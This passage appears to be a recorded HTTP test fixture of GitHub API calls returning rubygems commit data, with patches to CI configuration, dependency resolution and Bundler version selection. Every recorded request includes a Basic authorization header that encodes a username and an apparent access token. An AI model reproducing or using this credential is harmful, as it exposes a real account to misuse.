trunk","tree":{"sha":"e536a19a638b06a1189ee9f80cc29623e5c9a9e3","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/e536a19a638b06a1189ee9f80cc29623e5c9a9e3"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/8616ad52b05c2019d2031798377fc786718d374a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/8616ad52b05c2019d2031798377fc786718d374a","html_url":"https://github.com/rubygems/rubygems/commit/8616ad52b05c2019d2031798377fc786718d374a","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/8616ad52b05c2019d2031798377fc786718d374a/comments","author":{"login":"MSP-Greg","id":15081176,"avatar_url":"https://avatars3.githubusercontent.com/u/15081176?v=4","gravatar_id":"","url":"https://api.github.com/users/MSP-Greg","html_url":"https://github.com/MSP-Greg","followers_url":"https://api.github.com/users/MSP-Greg/followers","following_url":"https://api.github.com/users/MSP-Greg/following{/other_user}","gists_url":"https://api.github.com/users/MSP-Greg/gists{/gist_id}","starred_url":"https://api.github.com/users/MSP-Greg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MSP-Greg/subscriptions","organizations_url":"https://api.github.com/users/MSP-Greg/orgs","repos_url":"https://api.github.com/users/MSP-Greg/repos","events_url":"https://api.github.com/users/MSP-Greg/events{/privacy}","received_events_url":"https://api.github.com/users/MSP-Greg/received_events","type":"User","site_admin":false},"committer":{"login":"MSP-Greg","id":15081176,"avatar_url":"https://avatars3.githubusercontent.com/u/15081176?v=4","gravatar_id":"","url":"https://api.github.com/users/MSP-Greg","html_url":"https://github.com/MSP-Greg","followers_url":"https://api.github.com/users/MSP-Greg/followers","following_url":"https://api.github.com/users/MSP-Greg/following{/other_user}","gists_url":"https://api.github.com/users/MSP-Greg/gists{/gist_id}","starred_url":"https://api.github.com/users/MSP-Greg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MSP-Greg/subscriptions","organizations_url":"https://api.github.com/users/MSP-Greg/orgs","repos_url":"https://api.github.com/users/MSP-Greg/repos","events_url":"https://api.github.com/users/MSP-Greg/events{/privacy}","received_events_url":"https://api.github.com/users/MSP-Greg/received_events","type":"User","site_admin":false},"parents":[{"sha":"0cfc24cbe742736648d3ab599598be656a9a1be1","url":"https://api.github.com/repos/rubygems/rubygems/commits/0cfc24cbe742736648d3ab599598be656a9a1be1","html_url":"https://github.com/rubygems/rubygems/commit/0cfc24cbe742736648d3ab599598be656a9a1be1"}],"stats":{"total":24,"additions":23,"deletions":1},"files":[{"sha":"216a53dca6c18b9e59475fa0a9c4190be0edd758","filename":"appveyor.yml","status":"modified","additions":23,"deletions":1,"changes":24,"blob_url":"https://github.com/rubygems/rubygems/blob/8616ad52b05c2019d2031798377fc786718d374a/appveyor.yml","raw_url":"https://github.com/rubygems/rubygems/raw/8616ad52b05c2019d2031798377fc786718d374a/appveyor.yml","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/appveyor.yml?ref=8616ad52b05c2019d2031798377fc786718d374a","patch":"@@ -6,7 +6,16 @@ branches:\n - /[\\d.]+/\n skip_tags: true\n clone_depth: 10\n+\n+init:\n+ - mklink /d C:\\git \"C:\\Program Files\\Git\"\n+ - if %ruby_version%==_trunk (\n+ appveyor DownloadFile https://dl.bintray.com/msp-greg/ruby_windows/ruby_trunk.7z -FileName C:\\ruby_trunk.7z &\n+ 7z x C:\\ruby_trunk.7z -oC:\\ruby_trunk & C:\\ruby_trunk\\trunk_install.cmd )\n+\n environment:\n+ PATH: C:/ruby%ruby_version%/bin;C:/Program Files/7-Zip;C:/Program Files/AppVeyor/BuildAgent;C:/git/cmd;C:/Program Files (x86)/GNU/GnuPG/pub;C:/Windows/system32;C:\\Windows;\n+ WINDIR: C:\\Windows\n matrix:\n - ruby_version: 193\n - ruby_version: 200\n@@ -15,6 +24,13 @@ environment:\n - ruby_version: 21-x64\n - ruby_version: 22\n - ruby_version: 22-x64\n+ - ruby_version: 23-x64\n+ GIT: C:/git/cmd/git.exe\n+ - ruby_version: 24-x64\n+ GIT: C:/git/cmd/git.exe\n+ - ruby_version: _trunk\n+ GIT: C:/git/cmd/git.exe\n+\n install:\n - ps: >-\n git submodule update --init --recursive\n@@ -28,6 +44,7 @@ install:\n gem install minitest -v \"~> 4.7\" --no-document\n \n ruby -v\n+\n cache:\n - C:\\Ruby193\\lib\\ruby\\gems\\1.9.1\n - C:\\Ruby200\\lib\\ruby\\gems\\2.0.0\n@@ -36,7 +53,12 @@ cache:\n - C:\\Ruby21-x64\\lib\\ruby\\gems\\2.1.0\n - C:\\Ruby22\\lib\\ruby\\gems\\2.2.0\n - C:\\Ruby22-x64\\lib\\ruby\\gems\\2.2.0\n+- C:\\Ruby23-x64\\lib\\ruby\\gems\\2.3.0\n+- C:\\Ruby24-x64\\lib\\ruby\\gems\\2.4.0\n+\n build: off\n test_script:\n-- cmd: rake -rdevkit test\n+- rake -rdevkit test\n+on_finish:\n+- ruby -v\n deploy: off"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:16 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/c16a8ac2a222798accca44ac5ab2df3cf8e94e50 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:16 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4383' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"5bc01949c112f148ff9fae34c7ca8d16" Last-Modified: - Sun, 27 Aug 2017 22:32:25 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.038470' X-Github-Request-Id: - C602:4D97:903C9C:1C487C5:5A50E480 body: encoding: ASCII-8BIT string: '{"sha":"c16a8ac2a222798accca44ac5ab2df3cf8e94e50","commit":{"author":{"name":"MSP-Greg","email":"MSP-Greg@users.noreply.github.com","date":"2017-08-27T22:32:25Z"},"committer":{"name":"MSP-Greg","email":"MSP-Greg@users.noreply.github.com","date":"2017-08-27T22:32:25Z"},"message":"Gem::Resolver#search_for update for reliable searching/sorting","tree":{"sha":"646373f533d1d53e0d6fefe79615d2b813e215c4","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/646373f533d1d53e0d6fefe79615d2b813e215c4"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/c16a8ac2a222798accca44ac5ab2df3cf8e94e50","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/c16a8ac2a222798accca44ac5ab2df3cf8e94e50","html_url":"https://github.com/rubygems/rubygems/commit/c16a8ac2a222798accca44ac5ab2df3cf8e94e50","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/c16a8ac2a222798accca44ac5ab2df3cf8e94e50/comments","author":{"login":"MSP-Greg","id":15081176,"avatar_url":"https://avatars3.githubusercontent.com/u/15081176?v=4","gravatar_id":"","url":"https://api.github.com/users/MSP-Greg","html_url":"https://github.com/MSP-Greg","followers_url":"https://api.github.com/users/MSP-Greg/followers","following_url":"https://api.github.com/users/MSP-Greg/following{/other_user}","gists_url":"https://api.github.com/users/MSP-Greg/gists{/gist_id}","starred_url":"https://api.github.com/users/MSP-Greg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MSP-Greg/subscriptions","organizations_url":"https://api.github.com/users/MSP-Greg/orgs","repos_url":"https://api.github.com/users/MSP-Greg/repos","events_url":"https://api.github.com/users/MSP-Greg/events{/privacy}","received_events_url":"https://api.github.com/users/MSP-Greg/received_events","type":"User","site_admin":false},"committer":{"login":"MSP-Greg","id":15081176,"avatar_url":"https://avatars3.githubusercontent.com/u/15081176?v=4","gravatar_id":"","url":"https://api.github.com/users/MSP-Greg","html_url":"https://github.com/MSP-Greg","followers_url":"https://api.github.com/users/MSP-Greg/followers","following_url":"https://api.github.com/users/MSP-Greg/following{/other_user}","gists_url":"https://api.github.com/users/MSP-Greg/gists{/gist_id}","starred_url":"https://api.github.com/users/MSP-Greg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/MSP-Greg/subscriptions","organizations_url":"https://api.github.com/users/MSP-Greg/orgs","repos_url":"https://api.github.com/users/MSP-Greg/repos","events_url":"https://api.github.com/users/MSP-Greg/events{/privacy}","received_events_url":"https://api.github.com/users/MSP-Greg/received_events","type":"User","site_admin":false},"parents":[{"sha":"0cfc24cbe742736648d3ab599598be656a9a1be1","url":"https://api.github.com/repos/rubygems/rubygems/commits/0cfc24cbe742736648d3ab599598be656a9a1be1","html_url":"https://github.com/rubygems/rubygems/commit/0cfc24cbe742736648d3ab599598be656a9a1be1"}],"stats":{"total":11,"additions":5,"deletions":6},"files":[{"sha":"13ee035e4c2a7c3e46e0e824606b09abc5c82b53","filename":"lib/rubygems/resolver.rb","status":"modified","additions":5,"deletions":6,"changes":11,"blob_url":"https://github.com/rubygems/rubygems/blob/c16a8ac2a222798accca44ac5ab2df3cf8e94e50/lib/rubygems/resolver.rb","raw_url":"https://github.com/rubygems/rubygems/raw/c16a8ac2a222798accca44ac5ab2df3cf8e94e50/lib/rubygems/resolver.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/resolver.rb?ref=c16a8ac2a222798accca44ac5ab2df3cf8e94e50","patch":"@@ -235,17 +235,16 @@ def search_for(dependency)\n \n groups = Hash.new { |hash, key| hash[key] = [] }\n \n- possibles.each do |spec|\n+ # create groups & sources in the same loop\n+ sources = possibles.map { |spec|\n source = spec.source\n-\n- sources << source unless sources.include? source\n-\n groups[source] << spec\n- end\n+ source\n+ }.uniq.reverse\n \n activation_requests = []\n \n- sources.sort.each do |source|\n+ sources.each do |source|\n groups[source].\n sort_by { |spec| [spec.version, Gem::Platform.local =~ spec.platform ? 1 : 0] }.\n map { |spec| ActivationRequest.new spec, dependency, [] }."}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:16 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/0cfc24cbe742736648d3ab599598be656a9a1be1 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:16 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4382' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"f19f2ba9f826caba20ba1474307aa043" Last-Modified: - Sun, 27 Aug 2017 21:04:12 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.034823' X-Github-Request-Id: - C604:4D95:F488F7:1C84BE9:5A50E480 body: encoding: ASCII-8BIT string: '{"sha":"0cfc24cbe742736648d3ab599598be656a9a1be1","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-08-27T21:04:12Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-08-27T21:04:12Z"},"message":"Auto merge of #1990 - rubygems:seg-local-prerelease, r=indirect\n\nAllow local installs with transitive prerelease requirements\n\n# Description:\n\nThis closes https://github.com/rubygems/rubygems/issues/1988 by considering local prerelease gems when the requirement is a prerelease requirement.\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [x] Write tests\n- [x] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"7a8e8b5edec29869ce9e95b25ebe8de682aaae4d","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/7a8e8b5edec29869ce9e95b25ebe8de682aaae4d"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/0cfc24cbe742736648d3ab599598be656a9a1be1","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/0cfc24cbe742736648d3ab599598be656a9a1be1","html_url":"https://github.com/rubygems/rubygems/commit/0cfc24cbe742736648d3ab599598be656a9a1be1","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/0cfc24cbe742736648d3ab599598be656a9a1be1/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"5ac9d271faf28b5ea52737eea9bdb17d667dab82","url":"https://api.github.com/repos/rubygems/rubygems/commits/5ac9d271faf28b5ea52737eea9bdb17d667dab82","html_url":"https://github.com/rubygems/rubygems/commit/5ac9d271faf28b5ea52737eea9bdb17d667dab82"},{"sha":"3ab5aaa93ce2751eec9b378e8a39a547fb25803d","url":"https://api.github.com/repos/rubygems/rubygems/commits/3ab5aaa93ce2751eec9b378e8a39a547fb25803d","html_url":"https://github.com/rubygems/rubygems/commit/3ab5aaa93ce2751eec9b378e8a39a547fb25803d"}],"stats":{"total":35,"additions":34,"deletions":1},"files":[{"sha":"5ab7a467b57d621a1d4b0c0bc7152f0a203f94c6","filename":"lib/rubygems/source/local.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/0cfc24cbe742736648d3ab599598be656a9a1be1/lib/rubygems/source/local.rb","raw_url":"https://github.com/rubygems/rubygems/raw/0cfc24cbe742736648d3ab599598be656a9a1be1/lib/rubygems/source/local.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/source/local.rb?ref=0cfc24cbe742736648d3ab599598be656a9a1be1","patch":"@@ -91,7 +91,7 @@ def find_gem gem_name, version = Gem::Requirement.default, # :nodoc:\n if version.satisfied_by?(s.version)\n if prerelease\n found << s\n- elsif !s.version.prerelease?\n+ elsif !s.version.prerelease? || version.prerelease?\n found << s\n end\n end"},{"sha":"dd86a85038dbb9ac5401ef3af06accbc952d57b3","filename":"test/rubygems/test_gem_commands_install_command.rb","status":"modified","additions":33,"deletions":0,"changes":33,"blob_url":"https://github.com/rubygems/rubygems/blob/0cfc24cbe742736648d3ab599598be656a9a1be1/test/rubygems/test_gem_commands_install_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/0cfc24cbe742736648d3ab599598be656a9a1be1/test/rubygems/test_gem_commands_install_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_install_command.rb?ref=0cfc24cbe742736648d3ab599598be656a9a1be1","patch":"@@ -96,6 +96,39 @@ def test_execute_local\n assert_match \"1 gem installed\", @ui.output\n end\n \n+ def test_execute_local_transitive_prerelease\n+ specs = spec_fetcher do |fetcher|\n+ fetcher.download ''a'', 2, ''b'' => \"2.a\", ''c'' => ''3''\n+ fetcher.download ''b'', ''2.a''\n+ fetcher.download ''c'', ''3''\n+ end\n+\n+ @cmd.options[:domain] = :local\n+\n+ FileUtils.mv specs[''a-2''].cache_file, @tempdir\n+ FileUtils.mv specs[''b-2.a''].cache_file, @tempdir\n+ FileUtils.mv specs[''c-3''].cache_file, @tempdir\n+\n+ @cmd.options[:args] = %w[a]\n+\n+ use_ui @ui do\n+ orig_dir = Dir.pwd\n+ begin\n+ Dir.chdir @tempdir\n+ FileUtils.rm_r [@gemhome, \"gems\"]\n+ assert_raises Gem::MockGemUi::SystemExitException, @ui.error do\n+ @cmd.execute\n+ end\n+ ensure\n+ Dir.chdir orig_dir\n+ end\n+ end\n+\n+ assert_equal %w[a-2 b-2.a c-3], @cmd.installed_specs.map { |spec| spec.full_name }.sort\n+\n+ assert_match \"3 gems installed\", @ui.output\n+ end\n+\n def test_execute_no_user_install\n skip ''skipped on MS Windows (chmod has no effect)'' if win_platform?\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:16 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/5ac9d271faf28b5ea52737eea9bdb17d667dab82 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:17 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4381' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"d6040bb6d68a9b38f16abaf2ba984f4a" Last-Modified: - Sun, 27 Aug 2017 20:40:27 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.050333' X-Github-Request-Id: - C606:4D95:F48909:1C84C0C:5A50E480 body: encoding: ASCII-8BIT string: '{"sha":"5ac9d271faf28b5ea52737eea9bdb17d667dab82","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-08-27T20:40:27Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-08-27T20:40:27Z"},"message":"Auto merge of #1977 - rubygems:seg-bundler-hax, r=indirect\n\nEnsure that an appropriate version of Bundler is always activated\n\n# Description:\n\nCloses https://github.com/rubygems/rubygems/issues/1974.\nThis ensures that the `bundle` binstub, along with anything running `require \"bundler/setup\"` will respect, in order:\n\n1. `ENV[\"BUNDLER_VERSION\"]`\n2. `bundle update --bundler`\n3. The bundler version in the nearest `Gemfile.lock`\n\nSee https://github.com/bundler/bundler/issues/5876 for further context, and https://github.com/bundler/bundler/issues/5878 for a related change to Bundler.\n\n# Tasks:\n\n- [x] Describe the problem / feature\n- [x] Write tests\n- [x] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"0e12ada1ce7e40cbd4aa27430e4fc031d9d10720","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/0e12ada1ce7e40cbd4aa27430e4fc031d9d10720"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/5ac9d271faf28b5ea52737eea9bdb17d667dab82","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/5ac9d271faf28b5ea52737eea9bdb17d667dab82","html_url":"https://github.com/rubygems/rubygems/commit/5ac9d271faf28b5ea52737eea9bdb17d667dab82","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/5ac9d271faf28b5ea52737eea9bdb17d667dab82/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"d5de035229fc5745e17cfa56b3f3ebe30f537468","url":"https://api.github.com/repos/rubygems/rubygems/commits/d5de035229fc5745e17cfa56b3f3ebe30f537468","html_url":"https://github.com/rubygems/rubygems/commit/d5de035229fc5745e17cfa56b3f3ebe30f537468"},{"sha":"a2ac2c04741178924d88215734d34b7a5df5d1aa","url":"https://api.github.com/repos/rubygems/rubygems/commits/a2ac2c04741178924d88215734d34b7a5df5d1aa","html_url":"https://github.com/rubygems/rubygems/commit/a2ac2c04741178924d88215734d34b7a5df5d1aa"}],"stats":{"total":392,"additions":381,"deletions":11},"files":[{"sha":"618335b2731c7eaf18c330d2f8e0b3bc70c218bd","filename":"Manifest.txt","status":"modified","additions":2,"deletions":0,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/5ac9d271faf28b5ea52737eea9bdb17d667dab82/Manifest.txt","raw_url":"https://github.com/rubygems/rubygems/raw/5ac9d271faf28b5ea52737eea9bdb17d667dab82/Manifest.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Manifest.txt?ref=5ac9d271faf28b5ea52737eea9bdb17d667dab82","patch":"@@ -254,6 +254,7 @@ hide_lib_for_update/note.txt\n lib/rubygems.rb\n lib/rubygems/available_set.rb\n lib/rubygems/basic_specification.rb\n+lib/rubygems/bundler_version_finder.rb\n lib/rubygems/command.rb\n lib/rubygems/command_manager.rb\n lib/rubygems/commands/build_command.rb\n@@ -489,6 +490,7 @@ test/rubygems/test_config.rb\n test/rubygems/test_deprecate.rb\n test/rubygems/test_gem.rb\n test/rubygems/test_gem_available_set.rb\n+test/rubygems/test_gem_bundler_version_finder.rb\n test/rubygems/test_gem_command.rb\n test/rubygems/test_gem_command_manager.rb\n test/rubygems/test_gem_commands_build_command.rb"},{"sha":"50585e79962fef2929973b3144e6043cc56c10cf","filename":"Rakefile","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/rubygems/rubygems/blob/5ac9d271faf28b5ea52737eea9bdb17d667dab82/Rakefile","raw_url":"https://github.com/rubygems/rubygems/raw/5ac9d271faf28b5ea52737eea9bdb17d667dab82/Rakefile","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Rakefile?ref=5ac9d271faf28b5ea52737eea9bdb17d667dab82","patch":"@@ -46,6 +46,7 @@ hoe = Hoe.spec ''rubygems-update'' do\n spec_extras[:required_rubygems_version] = Gem::Requirement.default\n spec_extras[:required_ruby_version] = Gem::Requirement.new ''>= 1.8.7''\n spec_extras[:executables] = [''update_rubygems'']\n+ spec_extras[:homepage] = ''https://rubygems.org''\n \n rdoc_locations <<\n ''docs-push.seattlerb.org:/data/www/docs.seattlerb.org/rubygems/''"},{"sha":"fee20ba44f9c5b62737e1dabba9aed6d594cd27e","filename":"lib/rubygems.rb","status":"modified","additions":12,"deletions":5,"changes":17,"blob_url":"https://github.com/rubygems/rubygems/blob/5ac9d271faf28b5ea52737eea9bdb17d667dab82/lib/rubygems.rb","raw_url":"https://github.com/rubygems/rubygems/raw/5ac9d271faf28b5ea52737eea9bdb17d667dab82/lib/rubygems.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems.rb?ref=5ac9d271faf28b5ea52737eea9bdb17d667dab82","patch":"@@ -133,6 +133,7 @@ module Gem\n \n GEM_DEP_FILES = %w[\n gem.deps.rb\n+ gems.rb\n Gemfile\n Isolate\n ]\n@@ -269,17 +270,22 @@ def self.find_spec_for_exe name, exec_name, requirements\n \n return loaded if loaded && dep.matches_spec?(loaded)\n \n- specs = dep.matching_specs(true)\n-\n- raise Gem::GemNotFoundException,\n- \"can''t find gem #{dep}\" if specs.empty?\n+ find_specs = proc { dep.matching_specs(true) }\n+ if dep.to_s == \"bundler (>= 0.a)\"\n+ specs = Gem::BundlerVersionFinder.without_filtering(&find_specs)\n+ else\n+ specs = find_specs.call\n+ end\n \n specs = specs.find_all { |spec|\n spec.executables.include? exec_name\n } if exec_name\n \n unless spec = specs.first\n- msg = \"can''t find gem #{name} (#{requirements}) with executable #{exec_name}\"\n+ msg = \"can''t find gem #{dep} with executable #{exec_name}\"\n+ if name == \"bundler\" && bundler_message = Gem::BundlerVersionFinder.missing_version_message\n+ msg = bundler_message\n+ end\n raise Gem::GemNotFoundException, msg\n end\n \n@@ -1334,6 +1340,7 @@ def clear_default_specs\n \n MARSHAL_SPEC_DIR = \"quick/Marshal.#{Gem.marshal_version}/\"\n \n+ autoload :BundlerVersionFinder, ''rubygems/bundler_version_finder''\n autoload :ConfigFile, ''rubygems/config_file''\n autoload :Dependency, ''rubygems/dependency''\n autoload :DependencyList, ''rubygems/dependency_list''"},{"sha":"baca170840c8c1cf77c0fac7138aba1947b8c02d","filename":"lib/rubygems/bundler_version_finder.rb","status":"added","additions":112,"deletions":0,"changes":112,"blob_url":"https://github.com/rubygems/rubygems/blob/5ac9d271faf28b5ea52737eea9bdb17d667dab82/lib/rubygems/bundler_version_finder.rb","raw_url":"https://github.com/rubygems/rubygems/raw/5ac9d271faf28b5ea52737eea9bdb17d667dab82/lib/rubygems/bundler_version_finder.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/bundler_version_finder.rb?ref=5ac9d271faf28b5ea52737eea9bdb17d667dab82","patch":"@@ -0,0 +1,112 @@\n+module Gem::BundlerVersionFinder\n+ @without_filtering = false\n+\n+ def 